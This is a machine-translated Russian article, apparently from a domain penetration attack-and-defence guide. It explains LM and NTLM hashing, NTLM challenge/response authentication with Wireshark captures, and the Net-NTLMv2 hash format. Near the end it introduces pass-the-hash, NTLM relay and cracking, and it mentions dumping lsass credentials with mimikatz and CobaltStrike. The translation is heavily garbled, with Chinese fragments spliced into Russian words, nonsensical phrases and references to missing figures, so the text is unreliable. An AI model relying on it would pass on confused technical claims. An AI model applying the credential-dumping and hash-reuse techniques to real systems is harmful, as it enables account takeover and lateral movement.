Оглавление
Понятие SSP и SSPI
1. SSPI
2. SSP
Алгоритм шифрования LM Hash
NTАлгоритм шифрования LM Hash
1. Процесс шифрования NTLM-хеша
2. NTLM-хеш, хранящийся в системе Windows.
Аутентификация по протоколу NTLM
1. Аутентификация NTLM в среде рабочей группы.
(1) Захват пакетов аутентификации NTLM в среде рабочей группы
1) Переговоры.
2) Согласовать пакет переговоров.
3) Пакет испытаний.
4) Аутентификация пакета аутентификации.
5) Возврат успеха или неудачи.
6) Подпись.
(2) Расчет хэша Net-NTLM v2
2. NTLM-аутентификация в доменной среде.
(1) Захват пакетов аутентификации NTLM в среде домена
3. Разница между NTLM v1 и NTLM v2
4. LmCompatibilityLevel
Проблемы безопасности протокола NTLM
1. Pass The Hash
2. NTLM Relay
3. Взлом хеша Net-NTLM v1
Эта статья взята из «Руководства по атакам и защите от проникновения в домен».
NTLM(New Technology LAN Менеджер) Протокол аутентификации да Один из основных протоколов, используемых Microsoft для аутентификации Windows. Ранний протокол SMB передавал пароли в открытом виде по сети.,Это создает проблемы с безопасностью。появился позжеLM(LAN Manager)Протокол аутентификации,этода Настолько просто, что его легко взломать。Позже Microsoft предложилаNTLMПротокол аутентификации,и новееNTLM V2Версия。NTLMПротокол может обеспечивать аутентификацию компьютеров в рабочей группе.,Также может использоваться для аутентификации среды домена.。NTLMСоглашение может бытьSMB、HTTP、LDAP、SMTPПодождите, пока приложения Microsoft верхнего уровня обеспечат аутентификацию личности.。
01
Понятие SSP и SSPI
Прежде чем изучать протокол NTLM,Давайте сначала поймем две основные концепции:SSPI и SSP。
1
SSPI
SSPI(Security Service Provider Interface или Security Support Provider Интерфейс, интерфейс предоставления услуг безопасности) да Windows Определенный набор интерфейсов, определяющих функциональные функции, связанные с безопасностью, включая, помимо прочего:
·Механизм аутентификации。
·для других соглашенийпредоставил Session Security механизм. Сессия Security безопасность сеанса подразумевает обеспечение проверки целостности данных, а также функции шифрования и дешифрования данных для связи.
SSPIИнтерфейс определен с безопасностью Соответствующий Функция функция,Используется для получения функций безопасности, таких как проверка, целостность информации и конфиденциальность информации.,Этот интерфейс определяет только набор функций интерфейса.,Но да не реализовал конкретный контент.
2
SSP
SSP(Security Service Провайдер, поставщик услуг безопасности) даSSPI Разработчик, компания Microsoft, реализовала следующее SSP, используемый для обеспечения функций безопасности, включая, помимо прочего:
·NTLM SSP:Windows NT Представлено в версии 3.51 (msv1_0.dll). , для Windows Клиент-серверный домен до 2000 года и недоменная аутентификация (SMB/CIFS) обеспечивали аутентификацию типа запрос/ответ NTLM.
· Kerberos SSP:Windows Представленная в 2000 году Windows Обновлено для поддержки AES (kerberos.dll) в Vista, Windows. Предпочтительная взаимная аутентификация домена клиент-сервер в 2000 году и позже.
· Digest SSP:Windows Появилось в XP (wdigest.dll). ,в Обеспечивает запрос/ответ на основе аутентификации HTTP→SASL между системами Windows и системами, отличными от Windows, где Kerberos недоступен.
· Negotiate SSP:Windows Представлен в 2000 году (secur32.dll). , по умолчанию выбран протокол Kerberos или выбран протокол NTLM, если он недоступен. Вести переговоры SSP предоставляет возможности единого входа, иногда называемые встроенной проверкой подлинности Windows (особенно при использовании с IIS). в Windows В версиях 7 и выше NEGOExts представило согласование использования установленного специального SSP, поддерживаемого на клиенте и сервере для аутентификации.
· Cred SSP:Windows Представлено в Vista, Windows XP Также доступен в SP3 (credssp.dll), обеспечивает единый вход (SSO) и аутентификацию на уровне сети для подключений к удаленному рабочему столу.
· Schannel SSP:Windows Представлен в 2000 году (Schannel.dll), Windows Обновлено в Vista для поддержки более сильного шифрования AES и ECC[6]. Этот провайдер использует записи SSL/TLS для шифрования полезных данных.
· PKU2U SSP:Windows Появилось в версии 7 (pku2u.dll). , Обеспечивает одноранговую аутентификацию с использованием цифровых сертификатов между системами, не входящими в домен.
потому что SSPI определено в Session Security Соответствующий API。Поэтому приложение верхнего уровня использует любые SSP После аутентификации с помощью удаленной службы это SSP Для этого соединения будет сгенерирован случайный ключ. Этот случайный ключ называется Session Key。После аутентификации приложения верхнего уровня,Этот ключ можно дополнительно использовать для подписи и шифрования данных, впоследствии отправляемых на сервер и получаемых с сервера. на уровне системы,SSPСразудаодинdll,Используется для реализации функций безопасности, таких как проверка личности.。другойSSP,实现из Механизм аутентификациидадругой。например NTLM SSP Реализован механизм аутентификации на основе запроса/ответа. и Kerberos SSP Реализация основана на Механизм аутентификации билетов. Мы можем написать свой собственный SSP,Затем зарегистрируйте его в операционной системе.,Разрешите операционной системе поддерживать наш собственный метод аутентификации.。SSP、SSPIи Связь между различными приложениями Как показано на картинке。
Связанный:
SSPI
(https://docs.microsoft.com/zh-cn/windows/win32/secauthn/sspi)
Microsoft предоставил SSP Сумка(https://docs.microsoft.com/zh-cn/windows/win32/secauthn/ssp-packages-provided-by-microsoft)
02
Алгоритм шифрования LM Hash
LM(LAN Manager) аутентификация личности да Протокол аутентификации личности, запущенный Microsoft и использующий алгоритм шифрования да Алгоритм шифрования LM Hash。LM HashприродадаDESшифрование,хотяLM Хэш легче взломать, но для обеспечения совместимости системы Windows использует только LM. Хэш отключен (из Windows VistaиWindows Server С 2008 года Windows по умолчанию отключила LM. Hash)。LM HashПароли в виде открытого текста ограничены14в пределах бита,То есть, да,Если вы хотите прекратить использованиеLM Hash,Просто установите пароль пользователя длиной более 14 символов.
еслиLM HashЗначение:aad3b435b51404eeaad3b435b51404ee,иллюстрироватьLM Хэш с нулевым значением отключен.
LM Hashизшифрование流程следующее,Мы используем парольP@ss1234Демонстрация на примере:
1) Преобразуйте открытый текстовый пароль пользователя в верхний регистр и в шестнадцатеричную строку.
P@ss1234 -> капитал = P@SS1234 -> Преобразовать в шестнадцатеричный = 5040535331323334
2) Если длина преобразованной шестнадцатеричной строки меньше 14 байт (длина 28), для ее завершения используйте 0.
5040535331323334 -> Используйте 0 Завершение составляет 14 байт (длина 28). = 5040535331323334000000000000
3) Разделить 14 байт на две группы, каждая группа по 7 байт преобразуется в двоичные данные, длина каждой группы двоичных данных составляет 56 бит. Как показано на рисунке.
4) Разделите каждую группу двоичных данных на 8 групп по 7 бит, добавьте 0 в конце каждой группы, а затем преобразуйте ее в шестнадцатеричные, чтобы каждая группа стала 8-байтовыми шестнадцатеричными данными. Как показано на рисунке.
5) Объедините два набора шестнадцатеричных данных, созданных выше.,соответственно какDESшифрование密钥对字符串“KGS!@#%». Затем два набора зашифрованных DES зашифрованных текстов соединяются для получения окончательного значения LM HASH. Как показано на рисунке. KGS!@#%конвертировать в16Базовая система:4B47532140232425
LM Эффект работы хэш-кода шифрования показан на рисунке.
03
NTАлгоритм шифрования LM Hash
чтобы решитьLM Hashшифрованиеи Неотъемлемые недостатки безопасности в схемах аутентификации.,Microsoft в1993Годв Windows NT NTLM впервые был представлен в версии 3.1. (New TechnologyLAN Manager ) Hash。
На следующем рисунке показано влияние различных версий Windows на LM. HashиNTLM Поддержка хеша. То есть, да,Microsoft изWindwos VistaиWindows Server 2008начинать,Отключено по умолчаниюLM Hash,только хранитьNTLM Hash,иLM HashПозиция пуста:aad3b435b51404eeaad3b435b51404ee.
другойWindows系统Версия对LMиNTLMподдерживать Как показано на картинке。
NTLM Hashалгоритмда微软для Понятносуществовать提高安全性из同时保证兼容性и设计из散列шифрованиеалгоритм。
NTLM Hashдана основеMD4-шифрованиеалгоритм进行шифрованиеиз。
Давайте посмотрим на процесс шифрования NTLM Hash.
1
NTLM Процесс шифрования хеша
NTLM Hashизшифрование方程следующее,можно увидетьNTLM Hashда由明文密码经过三步шифрованиеи成:
NTLM Hash = md4(unicode(hex(password)))
1) Сначала преобразуйте пароль пользователя в шестнадцатеричный формат.
2)Будет снова16Строка в шестнадцатеричном форматеASCIIизменятьUnicodeкодирование。
3)последняя параUnicodeкодированиеиз16Стандарт базовой струныMD4单向哈希шифрование。
следующееможно увидетьP@ss1234проходитьNTLM Hashизшифрование流程一步步шифрование成дляNTLM Hash:74520a4ec2626e3638066146a0d5ceae。
P@ss1234 -> Преобразовать в шестнадцатеричный = 5040737331323334
5040737331323334 -> Кодировка ASCII в Unicode = 50004000730073003100320033003400
50004000730073003100320033003400 -> MD4-шифрование = 74520a4ec2626e3638066146a0d5ceae
NTLM Эффект работы хэш-кода шифрования показан на рисунке.
Альтернативно, просто введите команду Python, как показано ниже.
python3 -c 'import hashlib,binascii; print("NTLM_Hash:"+binascii.hexlify(hashlib.new("md4", "P@ss1234".encode("utf-16le")).digest()).decode("utf-8"))'
Как показано на картинке,ПрямойPythonкоманда продолжитьNTLM Hashшифрование:
2
Системное хранилище Windows NTLM Hash
Пароль пользователя проходитNTLM Hashшифрованиеназад存储существовать %SystemRoot%\system32\config\SAM файл, как показано на рисунке.
Когда пользователь вводит пароль для локальной аутентификации,,Все операции являютсядапроводится на местном уровне。系统将用户输入из密码изменять换дляNTLM Hash,а потом сSAMв файлеNTLM Hashсравнивать,То же означает, что пароль правильный,Обратное неверно. Когда пользователь выходит из системы, перезагружается или блокирует экран,Операционная система позволитwinlogon.exeПоказать интерфейс входа в систему,也Сразуда Поле ввода。когдаwinlogon.exeПосле получения ввода,Дайте парольlsass.exeпроцесс,lsass.exeпроцесс中会存一份明文密码,将明文密码шифрование成NTLM Hash,иSAM数据库сравнивать认证。мы используемmimikatzСразудаотlsass.exeпроцесс中ползти明文密码илихеш пароля。использоватьmimikatzползтиlsassУчетные данные в памяти Как показано на картинке。
использоватьMSFили ВОЗCobaltStrikeпроходитьизменять储哈希Понять到из密码格式следующее,Часть 1 – имя пользователя,часть втораядапользователяSIDценить,часть третьядаLM Hash,Часть 4даNTLM Hash,Остальное пусто.
xxxxxxxxxx Имя пользователя: Значение SID пользователя: LM Hash:NTLM Hash:::
отWindows VistaиWindows Server 2008начинать,потому что Отключено по умолчаниюLM Hash,поэтомучасть третьяизLM Hash固定для空ценить,Часть 4изNTLM-Hashталантда用户密码шифрованиеназадиз凭据。
использоватьCobaltStrikeизизменять储哈希功能изменять储目标机器Учетные данные в памяти Как показано на картинке。
04
Аутентификация по протоколу NTLM
NTLMПротокол аутентификации личностида一种на основе Challenge/Response Механизм проверки ответа на вызов состоит из трех типов сообщений:
· type 1 (Переговоры);
· type 2(вопрос, Вызов);
· type 3 (Аутентификация, Авторизация).
NTLMПротокол аутентификации личности有NTLM v1иNTLM v2两个Версия,目前использовать最多издаNTLM v2Версия。NTLM v1 и NTLM v2最显著из区别СразудаChallenge质询ценитьишифрованиеалгоритмдругой,共同之处Сразуда ВседаиспользоватьизNTLM Hash进行шифрование。
1
Аутентификация NTLM в среде рабочей группы
Блок-схема аутентификации NTLM в среде рабочей группы показана на рисунке.
NTLM Hash = md4(unicode(hex(password)))
Процесс аутентификации NTLM в среде рабочей группы можно разделить на следующие четыре этапа.
①: Когда клиенту необходим доступ к службе сервера.,Требуется аутентификация личности. Ю да,Когда клиент вводит имя пользователя и пароль сервера для проверки,客户端Сразу会缓存服务器密码изNTLM Хэш-значение. Затем клиент отправляет запрос на сервер, используя NTLM. SSP генерироватьNTLMSSP_NEGOTIATEинформация(называетсяПереговорное сообщение типа 1 NEGOTIATE)。
②: Сервер получает тип, отправленный клиентом. 1 После получения сообщения оно прочитает содержимое и выберет содержимое службы, уровень шифрования, службу безопасности и т. д., которые оно может принять. Затем перейдите в NTLM SSP, получи NTLMSSP_CHALLENGE информация(называетсяСообщение о вызове типа 2),и используй этоType 2Сообщение отправляется обратно клиенту. Этот тип 2 Сообщение содержит 16-битное случайное значение, сгенерированное сервером. Это случайное значение называется значением вызова. Сервер кэширует значение вызова.
③: Клиент получает тип, возвращаемый сервером. После двух сообщений прочитайте содержимое, поддерживаемое сервером, удалите значение Challenge и используйте NTLM пароля кэшированного сервера. Хэш шифрует его, чтобы получить Responseинформация。Наконец-то будетResponseи Другая информация инкапсулирована вNTLMSSP_AUTH认证информация中(называетсяТип 3 Аутентификация сообщения аутентификации),Отправлено на сервер.
④: После получения сообщения аутентификации Authenticate сервер удаляет из него Net-NTLM. Хэш. Затем используйте свой собственный пароль NTLM Hash Выполните серию операций шифрования значения Challenge, чтобы получить значение Net-NTLM, рассчитанное вами. Хэш. и сравните рассчитанный вами Net-NTLM Hash и Net-NTLM, отправленный клиентом Хашда не равна. Если они равны, это доказывает, что пароль, введенный клиентом, верен и аутентификация прошла успешно. В противном случае аутентификация не удалась; Выше описан процесс аутентификации NTLM в среде рабочей группы. Давайте воспользуемся WireShark для записи процесса аутентификации NTLM:
1
Захват пакетов аутентификации NTLM в среде рабочей группы
Из-за NTLM — это всего лишь базовый протокол аутентификации.,Он должен быть встроен в протокол приложения верхнего уровня.,Передача сообщений осуществляется по протоколу верхнего уровня с использованием NTLM.,Например, SMB, HTTP и т. д. В следующем эксперименте для проверки используется NTLM на основе службы SMB. Экспериментальная среда выглядит следующим образом:
Клиент (WIN7): 10.211.55.6;
Сервер (6С85): 10.211.55.7.
Схема топологии аутентификации NTLM в среде рабочей группы показана на рисунке.
использовать正确из账号密码проходитьSMBАутентификация протокола10.211.55.7,Вы можете видеть, что аутентификация прошла успешно.,Как показано на картинке。
В процессе сертификации,использоватьWireSharkпоймать Сумка。Как показано на картинке。
Как показано на картинке,использовать错误из账号密码проходитьSMBАутентификация протокола10.211.55.7,Вы можете видеть, что аутентификация не удалась.
В процессе сертификации,использоватьWireSharkпоймать Сумка。Как показано на рисунке:
Мы открываем все сертификаты, обнаруженные Сумкой.,Все сертифицированные NTLM данные размещаются в GSS-API.,Как показано на рисунке, вы можете увидеть GSS-API в Сумке аутентификации SMB:
Так ЧтодаGSS-APIШерстяная ткань?
GSS-API(Generic Security Service Application Program Интерфейс (универсальный программный интерфейс службы безопасности) — это унифицированная модель, которая предоставляет пользователям независимые от механизма, платформы, среды программирования и переносимые службы безопасности. Программисты могут применять универсальные механизмы безопасности при написании приложений, поэтому разработчикам не нужно настраивать реализации безопасности для какой-либо конкретной платформы, механизма безопасности, типа защиты или транспортного протокола. SSPIдаGSS — собственный вариант API, который расширен и имеет множество типов данных, специфичных для Windows. Большинство токенов, сгенерированных и принятых SSPI, совместимы с GSS-API. И здесь НТЛМ SSPОсуществленныйSSPI,Следовательно, это эквивалентно реализации GSS-API. И одним из преимуществ регистрации в качестве SSP является,SSP реализует функции с безопасностью,Поэтому, когда протоколы верхнего уровня (такие как SMB, HTTP, LDAP) выполняют такие функции, как аутентификация личности,,Вам не придется беспокоиться о деталях договора,Просто вызовите соответствующие функции. Трафик во время процесса аутентификации встроен в протокол верхнего уровня.,В отличие от Кербреоса,Он может быть встроен в протокол верхнего уровня.,Его также можно использовать как независимый протокол прикладного уровня.
Давайте проанализируем это подробно нижеWireSharkПонять Сумкасодержание
1) Переговоры
Давайте сначала взглянем на первые четыре пакета, как показано на рисунке:
Некоторая информация о первых четырёх переговорах по протоколу СумкадаSMB,Давайте сосредоточимся здесьSecurity modeбезопасный режим。Как показано на картинке,можно увидетьSecurity modeвнизПодписание включено: True,иSigning requiredдляFalse,Указывает, что хотя текущий клиент поддерживает подписи,Но да переговоры без подписания!
Примечание. Подписание не включено по умолчанию в среде рабочей группы.
2) Согласование переговорного пакета
Давайте посмотрим на пятый пакет, как показано на рисунке 1-18:
пятый СумкадаNTLMизNegotiateВести переговоры Сумка,Также да Тип 1,да Сумма, отправленная с клиента на сервер для инициации аутентификации NTLM. Его основная цель — проверить основные правила, указывая поддерживаемые параметры с помощью флагов.,и необязательно,Он также может предоставить серверу имя рабочей станции клиента и домен, членом которого является клиентская рабочая станция; сервер использует эту информацию, чтобы определить, имеет ли клиент право на локальную аутентификацию.
Сообщения типа 1 в основном содержат структуру, показанную на рисунке.
Основная часть пакета переговоров Type 1 Negotiate показана на рисунке.
Флаги, которые необходимо согласовать в поле Negotiate Flags, показаны на рисунке.
3) Пакет вопросов-задач
Давайте посмотрим на шестой пакет, как показано на картинке.
Шестая Сумкада Тип 2 ChallengeСообщение о вызове,да Отправляется с сервера клиенту,Сумка содержит список функций, поддерживаемых и согласованных сервером.
Сообщения типа 2 в основном содержат структуру, показанную на рисунке.
Основная часть сообщения типа 2 Challenge показана на рисунке:
В версии v2 значение Challenge представляет собой случайную 16-байтовую строку.
Как показано на картинке,Challenge质询ценитьдля:f9e7d1fe37e7ae12。
4) Аутентификация пакета аутентификации
Давайте посмотрим на седьмой пакет, как показано на рисунке:
Седьмая СумкадаAuth Сообщение аутентификации — сообщение аутентификации, отправленное клиентом на сервер. Это сообщение Сумка содержит запрос клиента на Тип 2Сообщение о вызовеизответ,Это означает, что клиент знает пароль учетной записи. В сообщении аутентификации также указывается цель аутентификации (домен и имя сервера) и имя пользователя учетной записи аутентификации.,и имя клиентской рабочей станции.
Сообщение аутентификации Auth в основном содержит структуру, показанную на рисунке:
Как показано на картинке,Основная часть сообщения аутентификации даAuth:
Auth认证информация中最主要из便даType 3 Responseответинформация。Responseответинформацияда用服务器密码изNTLM HashшифрованиеChallenge质询ценитьназад经过一系列运算получатьиз,Responseответинформация中可以提取出Net-NTLM Hash。существоватьType 3 Responseответинформация中有六种类型изответ:
· Ответ LM:由低Версияиз客户端发送,Это «сырой» тип ответа.
· Ответ NTLM v1:этотда由на основеNTиз客户端发送из,СумкавключатьWindows 2000иXP。
· NTLM ответ версии 2: в Windows NT Service Pack Новый тип ответа, представленный в версии 4. Он заменяет включенный Ответ NTLM в системах NTLMv2.
· LMответ версии 2:заменятьNTLMv2系统上изLMответ。
· Ответ сеанса NTLMv2:用于существовать没有NTLMv2身份验证из情况下Вести переговорыNTLMv2безопасность сеанса,Этот сценарий меняет LM Семантика ответов NTLM.
· Анонимный ответ:когда匿名上下文正существовать建立时использовать; Фактический сертификат не предоставляется, и нет реальной аутентификации. Поле «Заглушка» появляется в сообщениях типа 3.
Процесс шифрования, используемый в этих 6 ответах, один и тот же.,Вседа前面我们说изChallenge/Response 质询ответ验证机制,другой之处существовать于Challenge质询ценитьишифрованиеалгоритмдругой。Что касается选择哪个Версияизответ由LmCompatibilityLevelРешать,Что касаетсяLmCompatibilityLevel,Мы вернемся к этому позже.
Как показано на картинке,можно увидетьсуществоватьType 3 Responseответинформация中даNTLM Тип ответа v2:
Как показано на картинке,можно увидетьсуществоватьNTLMv2 ResponseответинформациявнизNTProofStrПоле,该Полеизценитьда用做数据签名изHash(HMAC-MD5)ценить,Цель да обеспечивает целостность данных.
идляNTLMv2 HashиNTProofStr,Существует следующая формула расчета.
· NTLMv2 Hash = HMAC-MD5(unicode(hex((upper(UserName)+DomainName))), NTLM Hash)
· NTProofStr = HMAC-MD5(challenge + blob, NTLMv2 Hash)
Как показано на картинке,можно увидетьсуществоватьNTLMv2 ResponseответинформациявнизMICПоле。
Чтобы предотвратить подделку данных во время процесса, Microsoft,использоватьexportedSessionKeyшифрование三个NTLMинформация,для обеспечения данных Сумкаиз完整性。и该exportedSessionKey仅对启动认证из帐户ицелевой серверда已知из。Поэтому существуетMIC,атаковать ВОЗСразу无法中途修改NTLMДанные аутентификации Сумка Понятно。
дляMIC,Существует следующая формула расчета:
MIC = HMAC_MD5(exportedSessionKey, NEGOTIATE_MESSAGE + CHALLENGE_MESSAGE + AUTHENTICATE_MESSAGE)
5) Вернуть успех или нет
Восьмая сумма данных вернет результат, и результат будет успешным или неудачным.
Как показано на картинкеда返回成功из数据Сумка。
Как показано на картинкеда返回失败из数据Сумка。
6) Подпись
После завершения сертификации,Определите, нужно ли да подписывать последующие данные Сумка на основе согласованных значений полей. Итак, если требуется подпись,да Как подписать?
Как показано на рисунке, мы видим сессию в седьмом пакете. Ключевое поле. Сессия Keyда用来进行Вести переговорышифрование密钥из。
Затем сессия Как генерируется Keyда и как она работает?
Давайте воспользуемся функциями impacket для иллюстрации:
Как показано на примере, ключ сеанса получается с помощью keyExchangeKey иexportedSessionKey после серии операций.
иkeyExchangeKeyдаиспользовать用户passwordиserverChallenge等ценить经过一定运算получать。
Как показано на рисунке:
иexportedSessionKeyда客户端генерироватьиз随机数,Используется для шифрования и дешифрования трафика. Как показано на рисунке:
Итак, как клиент и сервер передают сеанс Ключ для переговоров о секретном ключе?
первый,客户端会генерироватьодин随机数exportedSessionKey,назад续Вседаиспользоватьэтот个exportedSessionKeyДля шифрования и дешифрования трафика。потому чтоexportedSessionKeyда客户端генерироватьиз,Сервер не знает,Такдапроходить Что手段进行Вести переговорыиз Шерстяная ткань?客户端использоватьkeyExchangeKey做дляKey,Алгоритм шифрования RC4шифрованиеexportedSessionKey,получать我们流量中看到изSession Key。После того как сервер получит трафик,использовать用户密码и质询ценитьChallenge经过运算генерироватьkeyExchangeKey,然назадиспользоватьSession KeyиkeyExchangeKeyДействуя вместе, мы получаемexportedSessionKey,然назадиспользоватьexportedSessionKeyШифрование и дешифрование трафика。дляатаковать ВОЗ来说,Поскольку пароля пользователя нет,无法генерироватьkeyExchangeKey。поэтому,Даже после того, как злоумышленник получит трафик,тоже невозможно посчитатьexportedSessionKey,Естественно, трафик невозможно расшифровать.
2
Net-NTLM v2 Расчет хеша
Давайте посмотрим на NTLM Формирование ответного сообщения v2 да выглядит следующим образом:
1) Использовать заглавную букву пользователя имя и домен Имя (с учетом регистра) объединяется, шестнадцатеричное, а затем двухбайтовое кодирование Unicode для получения данных, затем используется 16-байтовый хэш NTLM в качестве ключа, используйте dataiekey для шифрования HMAC-MD5 и получения NTLMv2. Hash。
2) Создайте информацию о BLOB-объекте
3) Используйте 16-байтовый хэш NTLMv2 в качестве ключа для шифрования значения с использованием алгоритма кода аутентификации сообщения HMAC-MD5 (вызов типа 2 склеивается вместе с Blob). Получите 16-байтовый NTProofStr(HMAC-MD5).
4) Соедините NTProofStr и Blob, чтобы сформировать Response.
Вышеупомянутое — NTLM Генерация версии v2. Ответное сообщение. Обычно мы используем такие инструменты, как Responder, для захвата NTLM. При ответе на сообщение все перехваченные Net-NTLM Данные в формате хеша.
Net-NTLM v2 hashиз格式следующее:
username::domain:challenge:HMAC-MD5:blob
Значение каждой части следующее:
· имя пользователя (имя пользователя для доступа к серверу):administrator
· домен (информация о домене):WIN7
· вызов (значение вызова, возвращаемое сервером в данных Сумка6):f9e7d1fe37e7ae12
· HMAC-MD5 (NTProofStr в пакете 7): 202beed8c64468318318bad6e8ae8326
· blob (соответствующие данные blob — NTLMv2 в пакете 7) В ответе удаляется вторая половина NTProofStr):010100000000000000d248080d47d701684da093c89fd679000000000200080036004300380035000100080036004300380035000400080036004300380035000300080036004300380035000700080000d248080d47d70106000400020000000800300030000000000000000000000000300000ea8d4184d6934f5434f43abebde4a1b32162f75dbf6a799f74b049823a1522050a001000000000000000000000000000000000000900200063006900660073002f00310030002e003200310031002e00350035002e003700000000000000000000000000
наконец-тоNet-NTLM v2 Hashценитьдляследующее:
administrator::WIN7:f9e7d1fe37e7ae12:202beed8c64468318318bad6e8ae8326:010100000000000000d248080d47d701684da093c89fd679000000000200080036004300380035000100080036004300380035000400080036004300380035000300080036004300380035000700080000d248080d47d70106000400020000000800300030000000000000000000000000300000ea8d4184d6934f5434f43abebde4a1b32162f75dbf6a799f74b049823a1522050a001000000000000000000000000000000000000900200063006900660073002f00310030002e003200310031002e00350035002e003700000000000000000000000000
от下面两个公式我们可以计算出Хэш NTLMv2, NTProofStr и Reseonse。
проходить输入相关ценить计算出Хэш NTLMv2, NTProofStr и Reseonseценить代码运行效果Как показано на картинке。
2
NTLM-аутентификация в доменной среде
Как показано на рисунке, NTLM в среде домена да Схема сертификации.
Процесс аутентификации NTLM в доменной среде можно разделить на следующие шесть этапов:
①: Если клиент хочет получить доступ к службе сервера, ему необходимо пройти аутентификацию личности. В этом случае после того, как клиент вводит имя пользователя и пароль сервера для проверки, клиент кэширует NTLM-код пароля сервера. Хэш-значение. Затем клиент отправляет запрос на сервер, используя NTLM SSPгенерироватьNTLMSSP_NEGOTIATEинформация(называется Тип 1 NEGOTIATE Переговорное сообщение)
②: Сервер получает тип, отправленный клиентом. 1, он прочитает содержимое и выберет контент службы, уровень шифрования, службу безопасности и т. д., которые он может принять. Тогда проходи NTLM SSP, получи NTLMSSP_CHALLENGE информация(называется Сообщение о вызове типа 2),и используй этоType 2Сообщение отправляется обратно клиенту. Этот тип 2 Сообщение содержит 16-битное случайное значение, сгенерированное сервером. Это случайное значение называется значением вызова. Сервер кэширует значение вызова.
③: Клиент получает тип, возвращаемый сервером. 2 сообщения, прочитайте содержимое, поддерживаемое сервером, извлеките значение Challenge и используйте NTLM пароля кэшированного сервера. Хэш шифрует его, чтобы получить Ответное сообщение, Net-NTLM можно извлечь из Ответного сообщения. Hash。Наконец-то будетResponseи Другая информация инкапсулирована вNTLMSSP_AUTHинформация中(называется Тип 3 Аутентификация сообщения аутентификации),Отправлено на сервер.
④: После получения сообщения аутентификации NTLMSSP_AUTH, отправленного клиентом, сервер устанавливает безопасный канал с управлением доменом через протокол Netlogon и отправляет проверочное сообщение в управление доменом.
⑤: После получения проверочного сообщения от сервера контроллер домена удаляет с него Net-NTLM. Хэш. Затем найдите NTLM для этого пользователя из базы данных. Хэш, выполните серию операций шифрования в задании, чтобы получить Net-NTLM, рассчитанный самостоятельно. Хэш. и сравните рассчитанный вами Net-NTLM HashиNet-NTLM, отправленный сервером Хашда равна?,если равны,Это доказывает, что пароль, введенный клиентом, правильный.,Аутентификация прошла успешно,В противном случае аутентификация не будет выполнена.,Контроллер домена отправляет результаты проверки на сервер.
⑥: Сервер отвечает клиенту на основе результата, возвращенного контроллером домена. Выше описан процесс аутентификации NTLM в среде домена.
Давайте воспользуемся WireShark для записи процесса аутентификации NTLM:
1
Захват пакетов аутентификации NTLM в среде домена
Из-за NTLM — это всего лишь базовый протокол аутентификации.,Он должен быть встроен в протокол приложения верхнего уровня.,Передача сообщений осуществляется по протоколу верхнего уровня с использованием NTLM.,Например, SMB, HTTP и т. д.
В следующем эксперименте для проверки используется NTLM на основе службы SMB. Экспериментальная среда выглядит следующим образом:
Клиент (WIN7):10.211.55.6
Сервер (ПОЧТА):10.211.55.5
Управление доменом (AD01):10.211.55.4
Как показано на картинке,Схема топологии аутентификации NTLM в доменной среде.
Как показано на картинкеда Аутентификация прошла успешноиз数据Сумка。
Как показано на картинкеда认证失败из数据Сумка。
Поскольку поля данных Сумка имеют одинаковое значение в рабочей группе, здесь они не будут подробно описаны.
3
NTLM v1иNTLM Разница между версией 2
NTLM v1 Протокол аутентификации личности и NTLM v2 Протокол аутентификации личности Различные версии протокола аутентификации личности NTLM. В настоящее время наиболее используемый даNTLM версия v2.
NTLM v1 и NTLM Наиболее существенное различие между версией 2 заключается в том, что значение даChallenge и алгоритм шифрования различны, а общим является то, что оба используют NTLM Хэш для шифрования.
Стоимость вызова:
NTLM v1: 8 байт
NTLM v2: 16 байт
Алгоритм шифрования, используемый Net-NTLM Hash:
NTLM v1: алгоритм шифрования DES
NTLM v2: алгоритм шифрования HMAC-MD5
Давайте посмотрим, как генерируется ответное сообщение NTLM v1?,следующее:
1) Заполните 16-байтовое хеш-пространство NTLM до 21 байта.
2) Затем разделитесь на три группы.,7 бит на группу,作дляАлгоритм шифрования 3DESиз三组密钥
3) Используйте три набора паролей для DES, чтобы зашифровать значение Challenge, отправленное с сервера.
4) Объедините эти три значения зашифрованного текста, чтобы получить ResponseNet-NTLM. v1 Формат хеша следующий:
username::hostname:LM response:NTLM response:challenge
Как показано на картинке,мы используем工具InternalMonologue.exeползтиNet-NTLM v1 hash。
4
LmCompatibilityLevel
LmCompatibilityLevelценить用来确定网络登录использоватьиз质询/ответ Протокол аутентификации。此选项会影响客户端использоватьиз Протокол аутентификациииз等级、Вести переговорыиз会话安全из等级以及服务器接受из身份验证из等级,следующеедаLmCompatibilityLevelдлядругойценитьиз含义:
Мы можем вручную изменить локальную политику безопасности, чтобыLmCompatibilityLevelценитьиз修改。Открыть локальную политику безопасности——>Настройки безопасности——>местная политика——>Параметры безопасности——сетевая безопасность: Уровень аутентификации LAN-менеджера, значение по умолчанию да не определено. Если не определено, значение по умолчанию, используемое да.
Уровень аутентификации LAN Manager «По умолчанию да» не определен.
Какой ответ следует изменить?,Проверьте этот тип ответа,Затем примените его. Как показано на рисунке:
Пользователи также могут выполнить команду для изменения значения поля HKLM\SYSTEM\CurrentControlSet\Control\Lsa\lmcompatibilitylevel в реестре, чтобы изменить тип ответа. По умолчанию поле lmcompatibilitylevel отсутствует.
Как показано на картинкесуществоватьHKLM\SYSTEM\CurrentControlSet\Control\LsaБольше не надоlmcompatibilitylevelПоле:
Ответ, соответствующий значению поля реестра HKLM\SYSTEM\CurrentControlSet\Control\Lsa\lmcompatibilitylevel, имеет следующий вид: Как показано на рисунке:
Вы можете изменить значение lmcompatibilitylevel реестра на 2 с помощью следующей команды:
Как показано на рисунке, вы можете видеть, что выполнение команды изменения реестра прошло успешно!
Затем проверьте еще разHKLM\SYSTEM\CurrentControlSet\Control\Lsa\lmcompatibilitylevelПоле,Как показано на картинке,Вы можете видеть, что это поле уже существует.,и его значение равно 2.
05
Проблемы безопасности протокола NTLM
Из приведенного выше процесса сертификации NTLM мы видим,существоватьType 3 Auth认证информация中даиспользовать用户密码из Расчет хешаиз。поэтомукогда我们没有получать用户密码из明文и只получатьHashиз情况下,мы можем продолжитьPass The Hash(PTH)атаковать,Это то, что все называют атакой передачи хэша. такой же,Также да в сообщении Type3,存существоватьNet-NTLM Hash,когдаатаковать ВОЗ获得ПонятноNet-NTLM Hashназад,Возможна атака «человек посередине»,переигратьNet-NTLM Hash,этот种атаковать手法也Сразуда大家所说изРеле NTLM (реле NTLM)атаковать。并且потому чтоNTLM v1Версия协议шифрование过程存существовать天然缺陷,ХОРОШОNet-NTLM v1 Hashвзрывные работы,получатьNTLM Hash。получатьNTLM Hashназад即可进行横向移动。
1
Pass The Hash
